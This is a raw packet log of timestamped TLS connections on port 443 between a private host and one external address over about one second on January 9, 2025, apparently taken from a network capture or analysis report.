Jan 9, 2025 14:41:10.176793098 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.181281090 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.181313038 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.181759119 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.181792974 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.181819916 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.182286024 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.186064005 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.187119961 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.187134027 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.188261986 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.191941023 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.191992998 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.192020893 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.192048073 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.192316055 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.193209887 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.203859091 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.203896046 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.203929901 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.205003023 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.205037117 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.209741116 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.209774971 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.211011887 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.211046934 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.211472988 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.297619104 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.297646999 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.297671080 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.297683001 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.298553944 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.301347017 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.303487062 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.303518057 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.303534031 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.303549051 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.303563118 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.309839964 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.309859037 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.310064077 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.310081005 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.316498041 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.316519022 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.316534042 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.316550016 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.316564083 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.317127943 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.317127943 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.322714090 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.322740078 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.322751999 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.322762966 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.328586102 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.328598022 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.328608990 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.328620911 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.328632116 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.329488039 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.333316088 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.333328962 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.333339930 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.333352089 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.338589907 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.338608027 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.338618994 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.338629961 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.338640928 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.339339972 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.341309071 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341321945 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341334105 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341345072 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341351032 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341356993 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341366053 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341377974 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341388941 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341398954 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341409922 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341422081 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341433048 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341443062 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341453075 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341511965 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341521978 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341531992 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341542959 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341553926 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341563940 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341574907 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341584921 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341594934 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341605902 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341615915 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341626883 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341636896 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341645002 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.341653109 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341664076 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341675043 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341686010 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341700077 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341711044 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341721058 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341731071 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341742992 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341753960 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341763973 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341774940 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341784954 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341797113 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341813087 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341825008 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341835022 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341844082 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341855049 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341866016 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341876030 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341886044 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341897011 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341907024 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341917992 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341928959 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341938972 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341950893 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341960907 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341970921 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341981888 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.341991901 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342003107 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342012882 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342272997 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.342298985 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342310905 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342323065 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342334032 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342344999 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342523098 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342534065 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342545033 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342556000 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342566013 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342576981 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342586994 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342597961 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342607975 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342618942 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342629910 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342641115 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342642069 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.342652082 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342669964 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342680931 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342690945 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342701912 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342713118 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342722893 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342732906 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342744112 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342753887 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342765093 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342775106 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342783928 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342794895 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342811108 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342824936 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342835903 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342852116 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342863083 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342868090 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342880011 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342890978 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342900991 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342912912 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342924118 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342933893 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342945099 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342956066 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342966080 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342976093 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.342987061 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.343084097 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.343373060 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.343853951 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.344746113 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.344746113 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.345379114 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.345379114 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.345379114 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.345837116 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.345837116 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.347100019 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.347172976 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.347346067 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.348071098 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.348071098 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.351340055 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.375343084 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.453901052 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.489748955 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.489748955 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.490892887 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.490892887 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.509367943 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.511342049 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.533780098 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.533817053 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.534168959 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.534226894 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.535337925 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.535337925 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.555712938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.556010962 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.583338022 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.583338022 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.590734959 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.590789080 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.590801954 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.590814114 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.606812000 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.607064009 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.607430935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.607460022 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.607713938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.607738972 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.612596035 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.623272896 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.644920111 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.645045042 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.645118952 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.645143032 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.645174980 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.645226002 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.645282030 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.645306110 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.645328999 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.645351887 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.645366907 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.646023035 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.646023035 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.667053938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.667084932 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.667100906 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.667117119 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.667131901 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.667146921 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.667161942 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.667176962 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.669537067 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.669537067 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.669537067 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.673161030 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.687134981 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.699976921 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.714584112 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.714602947 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.714617968 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.714634895 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.714649916 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.714664936 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.715126038 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.715127945 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.739473104 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.739490986 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.739504099 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.739876986 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.768400908 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.768799067 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.781594038 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.791924953 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.791954041 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.791966915 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.792505026 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.792505026 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.812000990 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.842648029 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.867551088 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:10.933803082 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:10.944986105 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.010803938 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.028134108 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.067337990 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.084763050 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.084966898 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.085048914 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.085063934 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.085078955 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.085093975 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.085108042 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.085144043 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.085226059 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.085283995 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.085340977 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.102864027 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.103121042 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.106210947 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112158060 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112396002 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112438917 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112462044 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112498045 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112549067 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112565041 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112627029 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112665892 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112737894 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112752914 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112799883 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112833977 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112858057 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112921953 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112945080 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.112998009 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.113059998 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.113111973 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.113346100 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.113544941 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.118298054 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.118314981 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.118329048 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.118345022 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.120788097 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.144903898 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.155675888 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.206392050 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.206444025 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.206854105 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.214116096 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.214271069 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.214286089 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.214293003 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.214441061 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.214574099 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.222634077 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.222647905 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.222661972 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.222883940 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.222969055 CET	64016	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.233614922 CET	443	54056	184.28.190.59	192.168.2.4
